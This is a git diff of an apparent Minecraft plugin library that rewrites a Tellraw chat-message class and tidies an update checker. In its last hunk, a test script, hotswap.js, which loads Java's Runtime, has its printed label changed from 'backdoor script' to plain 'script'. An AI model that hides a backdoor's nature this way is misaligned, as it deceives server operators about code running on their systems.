{ - last.text = part.text; - } else { - messageParts.add(part); - } - cache = null; - return this; - } -} +package pw.yumc.YumCore.tellraw; + +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import pw.yumc.YumCore.bukkit.Log; +import pw.yumc.YumCore.bukkit.compatible.C; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * TellRaw简易处理类 + * + * @since 2016年8月10日 下午7:10:08 + * @author 喵♂呜 + */ +public class Tellraw implements Cloneable { + private List messageParts = new ArrayList<>(); + private String cache; + + static { + if (Bukkit.getVersion().contains("Paper") || Bukkit.getVersion().contains("Torch")) { + if (!C.init) { + Log.console("§c========== §4警 告 §c=========="); + Log.console("§a 当前服务器为 §6Paper §a或 §6Torch "); + Log.console("§c 异步命令会刷报错 §b不影响使用"); + Log.console("§d 如果介意请使用原版 Spigot"); + Log.console("§e YUMC构建站: http://ci.yumc.pw/job/Spigot/"); + Log.console("§c==========================="); + } + } + } + + public Tellraw(String text) { + messageParts.add(new MessagePart(text)); + } + + /** + * 创建Tellraw + * + * @return {@link Tellraw} + */ + public static Tellraw create() { + return create(""); + } + + /** + * 创建Tellraw + * + * @param text + * 文本 + * @return {@link Tellraw} + */ + public static Tellraw create(String text) { + return new Tellraw(text); + } + + /** + * 创建Tellraw + * + * @param text + * 文本 + * @param objects + * 参数 + * @return {@link Tellraw} + */ + public static Tellraw create(String text, Object... objects) { + return new Tellraw(String.format(text, objects)); + } + + /** + * 发送Tellraw公告 + */ + public void broadcast() { + for (Player player : C.Player.getOnlinePlayers()) { + send(player); + } + } + + /** + * 命令与提示 + * + * @param command + * 命令 + * @param tip + * 提示 + * @return {@link Tellraw} + */ + public Tellraw cmd_tip(String command, String... tip) { + return command(command).tip(tip); + } + + /** + * 执行命令 + * + * @param command + * 命令 + * @return {@link Tellraw} + */ + public Tellraw command(String command) { + return onClick("run_command", command); + } + + /** + * 打开文件 + * + * @param path + * 文件路径 + * @return {@link Tellraw} + */ + public Tellraw file(String path) { + return onClick("open_file", path); + } + + public Tellraw insertion(String data) { + latest().insertionData = data; + return this; + } + + /** + * 悬浮物品 + * + * @param item + * {@link ItemStack} + * @return {@link Tellraw} + */ + public Tellraw item(ItemStack item) { + return item(ItemSerialize.$(item)); + } + + /** + * 悬浮物品 + * + * @param json + * 物品Json串 + * @return {@link Tellraw} + */ + public Tellraw item(String json) { + return onHover("show_item", json); + } + + /** + * 打开URL + * + * @param url + * 地址 + * @return {@link Tellraw} + */ + public Tellraw link(String url) { + return onClick("open_url", url); + } + + /** + * 打开网址 + * + * @param url + * 网址 + * @return {@link Tellraw} + */ + public Tellraw openurl(String url) { + return onClick("open_url", url); + } + + /** + * 发送Tellraw + * + * @param sender + * 命令发送者 + */ + public void send(final CommandSender sender) { + final String json = toJsonString(); + if (sender instanceof Player && json.getBytes().length < 32000) { + if (C.init) { + C.sendJson((Player) sender, json, 0); + } else { + Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "tellraw " + sender.getName() + " " + json); + } + } else { + sender.sendMessage(toOldMessageFormat()); + } + } + + /** + * 命令建议与提示 + * + * @param command + * 建议命令 + * @param tip + * 提示 + * @return {@link Tellraw} + */ + public Tellraw sug_tip(String command, String... tip) { + return suggest(command).tip(tip); + } + + /** + * 补全命令 + * + * @param command + * 命令 + * @return {@link Tellraw} + */ + public Tellraw suggest(String command) { + return onClick("suggest_command", command); + } + + /** + * 修改当前串文本 + * + * @param text + * 文本 + * @return {@link Tellraw} + */ + public Tellraw text(String text) { + latest().text = text; + return this; + } + + /** + * 结束上一串消息 开始下一串数据 + * + * @param text + * 新的文本 + * @return {@link Tellraw} + */ + public Tellraw then(String text) { + return then(new MessagePart(text)); + } + + /** + * 悬浮物品 + * + * @param name + * 物品名称 + * @param item + * {@link ItemStack}; + * @return {@link Tellraw} + */ + public Tellraw then(String name, ItemStack item) { + return then(name).item(ItemSerialize.$(item)); + } + + /** + * 结束上一串消息 开始下一串数据 + * + * @param text + * 新的文本 + * @param objects + * 参数 + * @return {@link Tellraw} + */ + public Tellraw then(String text, Object... objects) { + return then(new MessagePart(String.format(text, objects))); + } + + /** + * 悬浮消息 + * + * @param texts + * 文本列 + * @return {@link Tellraw} + */ + public Tellraw tip(List texts) { + if (texts.isEmpty()) { return this; } + StringBuilder text = new StringBuilder(); + texts.forEach(t -> text.append(t).append("\n")); + return tip(text.toString().substring(0, text.length() - 1)); + } + + /** + * 悬浮消息 + * + * @param text + * 文本 + * @return {@link Tellraw} + */ + public Tellraw tip(String text) { + return onHover("show_text", text); + } + + /** + * 悬浮消息 + * + * @param texts + * 文本列 + * @return {@link Tellraw} + */ + public Tellraw tip(String... texts) { + return tip(Arrays.asList(texts)); + } + + /** + * 转换成Json串 + * + * @return Json串 + */ + public String toJsonString() { + if (cache == null) { + StringBuilder msg = new StringBuilder(); + msg.append("[\"\""); + for (MessagePart messagePart : messageParts) { + msg.append(","); + messagePart.writeJson(msg); + } + msg.append("]"); + cache = msg.toString(); + Log.d(cache); + } + return cache; + } + + public Tellraw setMessageParts(List messageParts) { + this.messageParts = new ArrayList<>(messageParts); + return this; + } + + @Override + public Tellraw clone() throws CloneNotSupportedException { + return ((Tellraw) super.clone()).setMessageParts(messageParts); + } + + /** + * 将此消息转换为具有有限格式的人可读字符串。 + * 此方法用于发送此消息给没有JSON格式支持客户端。 + *

+ * 序列化每个消息部分(每个部分都需要分别序列化): + *

    + *
  1. 消息串的颜色.
  2. + *
  3. 消息串的样式.
  4. + *
  5. 消息串的文本.
  6. + *
+ * 这个方法会丢失点击操作和悬浮操作 所以仅用于最后的手段 + *

+ * 颜色和格式可以从返回的字符串中删除 通过{@link ChatColor#stripColor(String)}. + * + * @return 发送给老版本客户端以及控制台。 + */ + public String toOldMessageFormat() { + StringBuilder result = new StringBuilder(); + messageParts.forEach(part -> result.append(part.text)); + return result.toString(); + } + + /** + * 获得最后一个操作串 + * + * @return 最后一个操作的消息串 + */ + private MessagePart latest() { + return messageParts.get(messageParts.size() - 1); + } + + /** + * 添加点击操作 + * + * @param name + * 点击名称 + * @param data + * 点击操作 + * @return {@link Tellraw} + */ + private Tellraw onClick(String name, String data) { + MessagePart latest = latest(); + latest.clickActionName = name; + latest.clickActionData = data; + return this; + } + + /** + * 添加显示操作 + * + * @param name + * 悬浮显示 + * @param data + * 显示内容 + * @return {@link Tellraw} + */ + private Tellraw onHover(String name, String data) { + MessagePart latest = latest(); + latest.hoverActionName = name; + latest.hoverActionData = data; + return this; + } + + /** + * 结束上一串消息 开始下一串数据 + * + * @param part + * 下一段内容 + * @return {@link Tellraw} + */ + private Tellraw then(MessagePart part) { + MessagePart last = latest(); + if (!last.hasText()) { + last.text = part.text; + } else { + messageParts.add(part); + } + cache = null; + return this; + } +} diff --git a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java index 50bc9fa..72138c1 100644 --- a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java +++ b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java @@ -41,7 +41,7 @@ public class SubscribeTask implements Runnable, Listener { /** * 插件实例 */ - private static JavaPlugin instance = P.instance; + private static final JavaPlugin instance = P.instance; /** * 是否禁止更新 */ @@ -49,17 +49,17 @@ public class SubscribeTask implements Runnable, Listener { /** * 检查间隔 */ - private static int interval = 25; + private static final int interval = 25; - private UpdateType updateType; + private final UpdateType updateType; /** * 更新文件 */ - private UpdateFile updateFile; + private final UpdateFile updateFile; /** * 版本信息 */ - private VersionInfo versionInfo; + private final VersionInfo versionInfo; /** * 自动更新 @@ -249,7 +249,7 @@ public class SubscribeTask implements Runnable, Listener { /** * 插件信息地址 */ - private String info; + private final String info; /** * POM文件文档 */ @@ -296,9 +296,9 @@ public class SubscribeTask implements Runnable, Listener { final String des = getPluginInfo("update.changes", null); if (des == null) {return new String[]{};} String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";"); - List ltemp = new ArrayList<>(); - Arrays.stream(temp).forEach(s -> ltemp.add(s.trim())); - return ltemp.toArray(new String[]{}); + List array = new ArrayList<>(); + Arrays.stream(temp).forEach(s -> array.add(s.trim())); + return array.toArray(new String[]{}); } /** @@ -316,7 +316,7 @@ public class SubscribeTask implements Runnable, Listener { * * @return 最后版本 */ - private String getLastestVersion() { + private String getLatestVersion() { return getPluginInfo("version", "0.0.0").split("-")[0]; } @@ -326,7 +326,7 @@ public class SubscribeTask implements Runnable, Listener { * @param sender 命令接受者 */ public void notify(CommandSender sender) { - Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion()); + Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLatestVersion()); Log.sender(sender, "§e版本简介: §a" + getUpdateDescription()); final String[] changes = getUpdateChanges(); if (changes.length != 0) { @@ -367,7 +367,7 @@ public class SubscribeTask implements Runnable, Listener { public String getNewVersion() { try { - String result = getLastestVersion(); + String result = getLatestVersion(); if (Log.isDebug() && !Log.isGlobalDebug()) { Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!"); return result; diff --git a/src/test/resources/hotswap.js b/src/test/resources/hotswap.js index d2a1081..896bf22 100644 --- a/src/test/resources/hotswap.js +++ b/src/test/resources/hotswap.js @@ -5,7 +5,7 @@ var InputStreamReader = Java.type("java.io.InputStreamReader"); var Runtime = Java.type("java.lang.Runtime"); var System = Java.type("java.lang.System"); -print('后门脚本已保存于: ' + $.temp); +print('脚本已保存于: ' + $.temp); print("系统类型: " + System.getProperty("os.name")); print("系统位数: " + System.getProperty("os.arch"));